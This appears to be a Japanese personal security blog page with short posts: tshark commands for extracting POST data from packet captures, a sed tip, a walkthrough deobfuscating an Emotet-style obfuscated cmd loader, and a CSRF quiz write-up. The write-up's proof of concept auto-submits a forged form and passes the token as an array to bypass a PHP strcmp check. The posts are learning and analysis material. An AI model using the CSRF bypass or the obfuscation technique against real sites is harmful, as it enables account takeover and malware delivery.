HTMLのフォーム経由でデータがPOSTされた場合

## パラメータ名のみを表示
tshark -r example.pcap -Y "http.request.method eq POST" -T fields -e urlencoded-form.key

## 値のみを表示
tshark -r example.pcap -Y "http.request.method eq POST" -T fields -e urlencoded-form.value

## パラメータ名と値の両方を表示
tshark -r example.pcap -Y "http.request.method eq POST" -T fields -e http.file_data

使用しているtshark/wiresharkのバージョンがhttp.file_dataフィルタをサポートしていない場合は以下のようにするのもアリ
tshark -r example.pcap -Y "http.request.method eq POST" -T json | grep 'urlencoded-form.key\|urlencoded-form.value' | awk '{print $2}' | perl -pe 's/,\n/=/g'
(上記のように場合によっては "-T json"でjson形式で出力したほうがデータ整形しやすいかも。。。)

直接バイナリデータがPOSTされた場合

## バイナリデータを16進数で表示
tshark -r example.pcap -Y "http.request.method eq POST" -T fields -e data
※ "-e data" を "-e data.data" にすると16進数がコロン(:)で区切られます。(aa:3f:56)

## バイナリデータを平文で表示
tshark -r example.pcap -Y "http.request.method eq POST" -T fields -e data | xxd -r -p

## POSTリクエストが複数あった場合、それぞれのバイナリデータを平文で1行ずつ表示
for i in $(tshark -r example.pcap -Y "http.request.method eq POST" -T fields -e data); do echo $i | xxd -r -p; echo; done

## POSTリクエストが複数あった場合、それぞれのバイナリデータをファイルとして保存
for i in $(tshark -r example.pcap -Y "http.request.method eq POST" -T fields -e data); do tmpfile=$(jot -w out -r 3 1 100); echo $i | xxd -r -p > $tmpfile; done

## 時刻 (UTC)も一緒に表示
tshark -r example.pcap -o gui.column.format:"utctime","%Yut" -Y "http.request.method eq POST" -T fields -e _ws.col.utctime -e http.file_data

重複データを無視したい場合はsort -uにパイプするなど、用途に応じて、どんどんコマンドをパイプさせていく。

以上。
sedを使って特定の行から特定の行までを切り出したいときは以下のようにします。

sed -n [start line number],[end line number]P file.txt

以下は具体例です。

以下のようなファイル"a.txt"があります。
a-txt.png

"a.txt"からアスタリスクのバナー文字だけを抽出したいときは以下のようにします。

sed -n 14,26P a.txt

"a.txt"の14行目から26行目までを切り出します。
sed.png

コピーしたい行が数百、数千行にまたがっていて、マウスでドラッグするのがシンドいときに使えます。

以上。
こちらの記事で取り上げられているようにバンキング・マルウェアのEmotetのばら撒きが近頃見受けられています。私もいくつか解析しました。
で、解析の過程で思いがけずバッチファイルのあれこれについて学んだので、メモしておきます。
(普段からバッチファイルを書き慣れている人にとっては特に目新しい情報ではないと思います。)

添付ファイルを開くとおおよそ以下のような難読化されたDOSコマンドが実行されます。


cmd /c C%PrOgrAMfILES(x86):~ +9, +1%D; ; /v:o ; ; ; /%APPdATA:~ 6, 1% " ; (SEt hoge=[bunch of strings]& ; fOr ; /L ;%E ; ; ;IN; ; ; ( ;+1559 -3 ; ; ; +2) ;; ; do; ; ( ;; ; sET fUga=!fUga!!hoge:~ %E, 1!)&& ; If ;; ;%E ; ; ; == ; ; ;2 ;( ; ; (CAlL ; ; %fUga:~ -520% ) )"


変数hogeには大量の文字列が格納されています。forループで変数hogeから文字列を1文字ずつ切り取り変数fUgaに格納します。( sET fUga=!fUga!!hoge:~ %E, 1!) )。そして最後に変数fUgaをcallして実行します。
call文をechoに置き換えて上記のコマンドをコマンドプロンプトにコピペして実行すれば、callしているペイロードの中身がわかりそう!と思って実行してみたのですが、うまく行かず。。。

以下のようなバッチファイルを作ることで解読できました。


@echo off
SETLOCAL EnableDelayedExpansion
SEt hoge=[bunch of strings]& ; fOr ; /L ;%%E ; ; ;IN; ; ; ( ;+1559 -3 ; ; ; +2) ;; ; do; ; ( ;; ; sET fUga=!fUga!!hoge:~ %%E, 1!)&& ; If ;; ;%%E ; ; ; == ; ; ;2 ;( ; ; (echo ; ; !fUga:~ -520! ) )


主なポイントは:

SETLOCAL EnableDelayedExpansionを追加する
もとのコマンドをよく見ると/v:oオプションで環境変数の遅延展開を有効にしています。バッチファイルで遅延展開を有効にする場合はSETLOCAL EnableDelayedExpansionの1文を追加します。

forループの変数の%を%%に書き換える (%E -> %%E)
バッチファイル中でforループの変数を記述する場合は%%のように%記号を2つ重ねます。

変数の%記号を!記号に書き換える (%fUga:~ -520% -> !fUga:~ -520!)
即時展開の環境変数は変数を%記号で括ります。遅延展開の環境変数は変数を!記号で括ります。それ故かどうかはわかりませんが%fUga:~ -520%のままでバッチファイルを実行すると変数の展開が上手くいきませんでした。


上記3点の変更を加えてバッチファイル実行したところEmotetをダウンロードするためのPowerShellのコマンドが現れました。
※上記の方法を試す場合は必ず仮想環境などの解析環境で実行してください。

(まあ、大体のエンドポイントのセキュリティ製品はPowerShellの実行を検知できるので、わざわざ手動でDOSコマンドを解読するまでもないのですが、あくまで後学のために。。)

以上。

ちなみにコマンド冒頭の

C%PrOgrAMfILES(x86):~ +9, +1%D は CmD
/%APPdATA:~ 6, 1%/r

を表します。

echo C%PrOgrAMfILES(x86):~ +9, +1%D
CmD
echo %PrOgrAMfILES(x86):~ +9, +1%
m

echo /%APPdATA:~ 6, 1%
/r
echo %APPdATA:~ 6, 1%
r


デフォルトの環境変数の値から文字列を切り取って連結しているのですね。

参考
http://doudemoexe.com/Batch/0001.jsp
プロセス・インジェクションの手法についてまとめてみました。
といっても、こちらの記事の内容をざっくり翻訳しただけですが。

MORE »

某所でCSRF対策のバグに関するクイズの第2弾が公開されていたので、腕試しに解いてみました。

以下が自分のPOCです。今回は2種類のファイルを組み合わせて使用しました。

trap01.html
<html>
<head>
<meta http-equiv="refresh" content="2;url=http://localhost/CSRF-study02/trap02.php" />
</head>
<body>
<iframe src="http://localhost/CSRF-study02/chgmailform.php">
</body>
</html>

trap02.php
<html>
<body onload="document.forms[0].submit()">
<form action="http://localhost/CSRF-study02/chgmail.php" method="POST">
<input type="hidden" name="token[]" value="foo">
<input type="hidden" name="mail" value="you-are-hacked-again@foo.com">
</form>
</body>
</html>


ユーザーがmypage.phpを閲覧した状態でtrap01.htmlにアクセスすると、trap02.phpへリダイレクトされ、メールアドレスが"you-are-hacked-again@foo.com"に変更されます。

題材となっているアプリケーションはマイページのmypage.php、メールアドレス変更フォームのchgmailform.php、そして chgmailform.phpの入力内容をもとにメールアドレスを変更するプログラムのchgmail.phpという構成になっています。

前回とはchgmail.phpでのワンタイムトークンの確認が少し異なります。以下が該当のコード部分です。

if (empty($_SESSION['token']) || empty($_POST['token'])
|| strcmp($_POST['token'], $_SESSION['token'])) { // ワンタイムトークン確認
die('正規の画面からご使用ください');
}


上記のコードを解説すると:

1. セッション変数のトークンがNULLまたは空だった場合はエラーとして終了
または
2. トークンがPOSTされていない、またはPOSTされたトークンが空だった場合はエラーとして終了
または
3. POSTされたトークンの値とセッション変数のトークンの値をstrcmp関数で比較し、戻り値が0でない場合はエラーとして終了

よって、ハックするにはこれら3つの条件をクリアする必要があります。

1.をクリアするには、まずはユーザーにchgmailform.phpへとアクセスしてワンタイムトークンを生成してもらう必要があります。trap01.htmlではiframeタグ経由でユーザーをchgmailform.phpにアクセスさせています。その後、metaタグを利用してtrap02.phpへユーザーをリダイレクトします。

2.をクリアするにはtokenに値を設定してPOSTする必要がありますが、適当な値を入れただけでは3.のステップでエラーとして検知されて終了します。しかし、strcmpのマニュアルページの投稿によるとstrcmp関数による値の比較は完璧ではないようです。strcmp関数は文字列同士の比較を行う関数ですが、異なるデータ型同士を比較させると予期せぬエラーを起こしてしまうことがあるようです。例えば文字列型と配列型の比較をstrcmp関数で行うとPHPが警告を出して予期せぬ結果となります。

trap02.phpでは上記のstrcmp関数の性質(バグ?)を利用してワンタイムトークンを配列としてchgmail.phpへPOSTしています。以下が該当のコード部分です。

<input type="hidden" name="token[]" value="foo">

これにより、strcmp関数ではPOSTされた配列型のデータと文字列型(セッション変数のトークン)という異なるデータ型同士を比較することになります。結果、strcmpによるチェックをすり抜けてメールアドレスが変更されてしまいました。

以上。

 | HOME |  »

奇妙な風景 Unique Scene
<< >>

プロフィール


最新記事


最新コメント


最新トラックバック


月別アーカイブ


カテゴリ


スポンサード リンク


FC2カウンター


検索フォーム


RSSリンクの表示


リンク


ブロとも申請フォーム


QRコード